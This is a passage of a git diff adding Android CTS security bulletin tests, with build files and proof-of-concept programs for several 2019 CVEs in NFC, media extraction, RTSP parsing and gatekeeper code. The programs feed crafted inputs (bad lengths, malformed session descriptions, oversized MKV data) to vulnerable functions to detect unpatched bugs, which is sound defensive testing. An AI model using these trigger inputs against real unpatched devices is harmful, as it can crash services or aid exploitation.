+#include <nfc_int.h>
+
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+#define OFFSET 8
+#define VULNERABLE_LENGTH 0
+
+char enable_selective_overload = ENABLE_NONE;
+
+extern tNFC_CB nfc_cb;
+extern tCE_CB ce_cb;
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {}
+
+void nfc_start_quick_timer(TIMER_LIST_ENT*, uint16_t, uint32_t) {}
+
+void nfc_stop_timer(TIMER_LIST_ENT*) {}
+
+void nfc_stop_quick_timer(TIMER_LIST_ENT*) {}
+
+int main() {
+ enable_selective_overload = ENABLE_ALL;
+ GKI_init();
+ ce_init();
+ ce_cb.mem.t4t.status = CE_T4T_STATUS_REG_AID_SELECTED;
+
+ if (ce_select_t4t() != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ p_data->data.p_data = (NFC_HDR*)malloc(sizeof(uint8_t) * 16);
+ NFC_HDR* p_c_apdu = (NFC_HDR*)p_data->data.p_data;
+ p_c_apdu->len = VULNERABLE_LENGTH;
+ p_c_apdu->offset = OFFSET;
+ uint8_t conn_id = 1;
+ TIMER_LIST_ENT pFirst = {};
+ nfc_cb.quick_timer_queue.p_first = &pFirst;
+
+ p_cb->p_cback(conn_id, NFC_DATA_CEVT, p_data);
+
+ free(p_data->data.p_data);
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
index 72d7dda..165017b 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2025/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test {
name: "CVE-2019-2025",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp
new file mode 100644
index 0000000..f516e6a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/Android.bp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2044",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "32",
+ include_dirs: [
+ "frameworks/av/media/libstagefright/rtsp/",
+ ],
+ shared_libs: [
+ "libmediaplayerservice",
+ "libstagefright_foundation",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp
new file mode 100644
index 0000000..e733c6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2044/poc.cpp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+#include <APacketSource.h>
+#include <ASessionDescription.h>
+
+using namespace android;
+
+int main(void) {
+ sp<ASessionDescription> desc = new ASessionDescription;
+ static const char *raw =
+ "m=mFormats 20\r\n"
+ "a=rtpmap:20 MP4V-ES/1/2\r\n"
+ "a=fmtp:20 config=0000012000004000280020008061616161616161616161616161"
+ "61616161616161616161616161616161616161616161616161616161616161616161"
+ "61616161616161616161616161616161616161616161616161616161616161616161"
+ "616161616161616161616161616161616161616161616161616161\r\n"
+ "a=range:npt=1.1-2.2\r\n"
+ "a=framesize:1-9 \r\n"
+ "a=control:abc\r\n"
+ "a=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\r\n";
+
+ if(!desc->setTo(raw, strlen(raw))) {
+ return EXIT_FAILURE;
+ }
+
+ sp<APacketSource> source = new APacketSource(desc, 1);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp
new file mode 100644
index 0000000..85304bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2019-2099",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfa/include/",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp
new file mode 100644
index 0000000..8cfa619
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2099/poc.cpp
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+#include <nfa_rw_int.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#define LENGTH 0xBEB
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+void NFA_Init(tHAL_NFC_ENTRY *p_hal_entry_tbl);
+bool nfa_rw_activate_ntf(tNFA_RW_MSG *p_data);
+
+bool isInitialized = false;
+
+static void *(*real_memcpy)(void *to, const void *from, size_t numBytes) = nullptr;
+
+void init(void) {
+ real_memcpy = (void *(*)(void *, const void *, size_t))dlsym(RTLD_NEXT, "memcpy");
+ if (real_memcpy == nullptr) {
+ return;
+ }
+ isInitialized = true;
+}
+
+void *memcpy(void *to, const void *from, size_t numBytes) {
+ if (!isInitialized) {
+ init();
+ }
+ if (numBytes == LENGTH) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_memcpy(to, from, numBytes);
+}
+
+int freeResourcesAndReturn(int status, tNFA_RW_MSG *ptr1 = nullptr,
+ tNFC_ACTIVATE_DEVT *ptr2 = nullptr, tRW_DATA *ptr3 = nullptr,
+ NFC_HDR *ptr4 = nullptr, uint8_t *ptr5 = nullptr) {
+ if (ptr1) {
+ if (ptr2) {
+ free(ptr2);
+ }
+ free(ptr1);
+ }
+ if (ptr3) {
+ if (ptr4) {
+ free(ptr4);
+ }
+ free(ptr3);
+ }
+ if (ptr5) {
+ free(ptr5);
+ }
+ return status;
+}
+
+int main() {
+ GKI_init();
+ rw_init();
+ tHAL_NFC_ENTRY p_hal_entry_tbl;
+ NFA_Init(&p_hal_entry_tbl);
+
+ tNFA_RW_MSG *p_data = (tNFA_RW_MSG *)malloc(sizeof(tNFA_RW_MSG));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+ p_data->activate_ntf.p_activate_params =
+ (tNFC_ACTIVATE_DEVT *)malloc(sizeof(tNFC_ACTIVATE_DEVT));
+ if (!(p_data->activate_ntf.p_activate_params)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data);
+ }
+
+ tNFC_ACTIVATE_DEVT *p_activate_params = p_data->activate_ntf.p_activate_params;
+ p_activate_params->protocol = NFC_PROTOCOL_T2T;
+
+ nfa_rw_activate_ntf(p_data);
+
+ tRW_CBACK *p_cback = rw_cb.p_cback;
+ tRW_DATA *p_rw_data = (tRW_DATA *)malloc(sizeof(tRW_DATA));
+ if (!p_rw_data) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params);
+ }
+
+ nfa_rw_cb.cur_op = NFA_RW_OP_READ_NDEF;
+ p_rw_data->data.p_data = (NFC_HDR *)malloc(sizeof(NFC_HDR));
+ if (!(p_rw_data->data.p_data)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data);
+ }
+
+ nfa_rw_cb.p_ndef_buf = (uint8_t *)malloc(sizeof(uint8_t));
+ if (!(nfa_rw_cb.p_ndef_buf)) {
+ return freeResourcesAndReturn(EXIT_FAILURE, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data, p_rw_data->data.p_data);
+ }
+
+ p_rw_data->data.p_data->len = LENGTH;
+ if (p_cback) {
+ p_cback(RW_T3T_CHECK_EVT, p_rw_data);
+ }
+
+ return freeResourcesAndReturn(EXIT_SUCCESS, p_data, p_data->activate_ntf.p_activate_params,
+ p_rw_data, p_rw_data->data.p_data, nfa_rw_cb.p_ndef_buf);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp
new file mode 100644
index 0000000..4052106
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/Android.bp
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2115",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "system/gatekeeper/include/gatekeeper/",
+ ],
+ shared_libs: [
+ "libgatekeeper",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp
new file mode 100644
index 0000000..9ddc0e1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2115/poc.cpp
@@ -0,0 +1,106 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define private public
+
+#include "../includes/common.h"
+#include "gatekeeper.h"
+
+using namespace gatekeeper;
+
+bool isVulnerable = false;
+const uint8_t *authTokenKey = nullptr;
+
+void *operator new(decltype(sizeof(0)) n) noexcept(false) { return malloc(n); }
+
+void operator delete(void *ptr) throw() {
+ if (ptr == authTokenKey) {
+ isVulnerable = true;
+ }
+ if (!ptr) {
+ free(ptr);
+ }
+}
+
+class DerivedGateKeeper : public GateKeeper {
+ protected:
+ bool GetAuthTokenKey(const uint8_t **auth_token_key,
+ uint32_t *length __attribute__((unused))) const {
+ *auth_token_key = (const uint8_t *)(new uint8_t());
+ authTokenKey = *auth_token_key;
+ return true;
+ }
+ void GetPasswordKey(const uint8_t **password_key __attribute__((unused)),
+ uint32_t *length __attribute__((unused))) {}
+ void ComputePasswordSignature(uint8_t *signature __attribute__((unused)),
+ uint32_t signature_length __attribute__((unused)),
+ const uint8_t *key __attribute__((unused)),
+ uint32_t key_length __attribute__((unused)),
+ const uint8_t *password __attribute__((unused)),
+ uint32_t password_length __attribute__((unused)),
+ salt_t salt __attribute__((unused))) const {}
+ void GetRandom(void *random __attribute__((unused)),
+ uint32_t requested_size __attribute__((unused))) const {}
+ void ComputeSignature(uint8_t *signature __attribute__((unused)),
+ uint32_t signature_length __attribute__((unused)),
+ const uint8_t *key __attribute__((unused)),
+ uint32_t key_length __attribute__((unused)),
+ const uint8_t *message __attribute__((unused)),
+ const uint32_t length __attribute__((unused))) const {}
+ uint64_t GetMillisecondsSinceBoot() const { return EXIT_SUCCESS; }
+ bool GetFailureRecord(uint32_t uid __attribute__((unused)),
+ secure_id_t user_id __attribute__((unused)),
+ failure_record_t *record __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ bool ClearFailureRecord(uint32_t uid __attribute__((unused)),
+ secure_id_t user_id __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ bool WriteFailureRecord(uint32_t uid __attribute__((unused)),
+ failure_record_t *record __attribute__((unused)),
+ bool secure __attribute__((unused))) {
+ return false;
+ }
+ uint32_t ComputeRetryTimeout(const failure_record_t *record __attribute__((unused))) {
+ return EXIT_SUCCESS;
+ }
+ virtual bool IsHardwareBacked() const { return false; }
+ bool DoVerify(const password_handle_t *expected_handle __attribute__((unused)),
+ const SizedBuffer &password __attribute__((unused))) {
+ return false;
+ }
+};
+
+int main() {
+ uint8_t *auth_token = new uint8_t();
+ uint32_t length = sizeof(uint32_t);
+ SizedBuffer *sb = new SizedBuffer(auth_token, length);
+ uint64_t timestamp = 1;
+ secure_id_t user_id = 1;
+ secure_id_t authenticator_id = 1;
+ uint64_t challenge = 0;
+
+ DerivedGateKeeper *object = new DerivedGateKeeper();
+ object->MintAuthToken(sb, timestamp, user_id, authenticator_id, challenge);
+
+ delete auth_token;
+ delete object;
+ delete sb;
+ return (isVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
new file mode 100644
index 0000000..baee6a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2126",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "liblog",
+ "libdatasource",
+ ],
+
+ cflags: [
+ "-Wall",
+ "-Werror",
+ "-DCHECK_MEMORY_LEAK",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
new file mode 100644
index 0000000..45bec73
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2126/poc.cpp
@@ -0,0 +1,128 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <sys/mman.h>
+
+unsigned char mkvDataStart[] = {
+ 0x1A, 0x45, 0xDF, 0xA3, 0x10, 0x00, 0x00, 0x0A, 0x42, 0x82, 0x10, 0x00,
+ 0x00, 0x04, 0x77, 0x65, 0x62, 0x6D, 0x18, 0x53, 0x80, 0x67, 0x10, 0xF4,
+ 0x24, 0x49, 0x16, 0x54, 0xAE, 0x6B, 0x10, 0xF4, 0x24, 0x41, 0xAE, 0x10,
+ 0xF4, 0x24, 0x3C, 0xD7, 0x81, 0x01, 0x83, 0x81, 0x01, 0xE0, 0x10, 0x00,
+ 0x00, 0x03, 0xB0, 0x81, 0x01, 0x6D, 0x80, 0x10, 0xF4, 0x24, 0x28, 0x62,
+ 0x40, 0x10, 0xF4, 0x24, 0x22, 0x50, 0x34, 0x10, 0xF4, 0x24, 0x19, 0x42,
+ 0x54, 0x81, 0x01, 0x42, 0x55, 0x10, 0xF4, 0x24, 0x00};
+
+unsigned char mkvDataEnd[] = {0x42, 0x55, 0x81, 0x61, 0x42, 0x54,
+ 0x88, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
+ 0xFF, 0xFF, 0xFF, 0x50, 0x35, 0x80};
+
+#define LIBNAME "/system/lib64/extractors/libmkvextractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmkvextractor.so"
+
+#define LEAK_SIZE 16000000
+#define LEAK_DATA 0x61
+#define TMP_FILE "/data/local/tmp/temp_cve_2019_2126"
+
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == LEAK_SIZE); }
+
+int main() {
+
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char *appendArray = (char *)malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Write mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *)appendArray);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
new file mode 100644
index 0000000..a7eef92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2133",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..3cce7af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 0;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
new file mode 100644
index 0000000..3bbda28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2134",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..1514e2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 1;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE_2019_2135",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
